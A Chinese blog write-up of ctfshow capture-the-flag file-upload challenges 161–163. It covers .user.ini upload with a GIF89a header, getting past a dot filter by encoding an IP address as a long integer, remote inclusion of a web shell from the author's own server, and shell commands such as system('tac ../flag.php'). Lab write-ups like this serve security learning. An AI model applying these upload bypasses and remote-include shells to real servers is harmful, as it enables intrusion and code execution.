ctfshow-web入门-文件上传(web161、web162、web163)远程包含

74 篇文章 2 订阅
9 篇文章 0 订阅

目录

1、web161

2、web162

3、web163


1、web161

先传配置文件,可以上传成功

因为我前面给的 .user.ini 都是带了图片头 GIF89a 的,前面的题这个图片头可以去掉,但是在这里如果去掉是不行的。

因此后面上传的东西我们都带上这个图片头:

采用伪协议读取 flag.php

访问 upload 目录:

base64 解码

拿到 flag:ctfshow{85cc388e-a505-4da9-943a-9bf970de0d43}

2、web162

配置文件无法上传 

进行模糊测试后,发现是点被过滤掉了

那么我们上传的文件名就不使用后缀即可:这里以 test 为例

但是我们上传的内容里也无法使用点,因此日志文件包含和伪协议读取的方法都无法使用。

这里我们让其包含远程服务器上的木马:

下面打码部分为我自己服务器 ip 地址的长整型格式 

转换脚本:

#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result

#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)

print(ip2long('服务器ip地址'))

上传这个 test:

先命名为 test.png,绕过前端后抓包改回 test 再上传

访问 upload 目录:

报错

Warning: include(http://795707305/shell): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in /var/www/html/upload/test on line 2

Warning: include(): Failed opening 'http://795707305/shell' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/upload/test on line 2

默认情况下,PHP 配置通常不允许通过 include 或 require 语句包含外部 URL,所以我也不清楚它这里服务器上 php 的配置文件是否允许远程包含。

看了下我自己服务器的,这个选项确实是关闭的:

看了下网上其他师傅是可以的,但是不知道为啥我这里就是不行:

后面又去 b 站看了下视频,发现它远程包含的就是一个 php 文件,而我这里包含的 shell 是一个纯文本的东西,我最开始以为是将这段内容包含进了 index.php 的代码里,所以就没有考虑它不是 php 后缀是否可以正常解析的问题。

如何在没有 .php 后缀下又让它被当做 php 文件解析呢?

于是我将木马命名为 index.php,即首页文件

原以为这样我们就只需要包含 ip 地址,就可以包含到 index.php

但是测了一下,也是没有包含成功。

后面问了群里的师傅,说用 flask,我原本用的是 Apache 搭的服务,重置了服务器,Apache 和 php 其实都是刚下的,可能还需要配置点什么吧,不清楚,因此我们将木马放到 flask 服务上去。

这里也懒得传两次了,直接将要包含的 shell 放到 .user.ini 里面:(是可以这样进行包含的)

之后访问 upload:

没有出告警,说明这次应该是包含成功了

调用木马:

折腾死我了,终于拿到 flag:ctfshow{6309f5e7-6b49-4d9a-8ef3-26afc5d85754} 

3、web163

和上一题一样的方法,而且这里如果传图片的话会被删掉,还只能将包含的 shell 位置直接放在配置文件里,而不能分开传。

访问 upload :

/upload/?cmd=system('ls');

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{1ccc238f-dfc2-4209-9c52-4fa46184d51e}

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值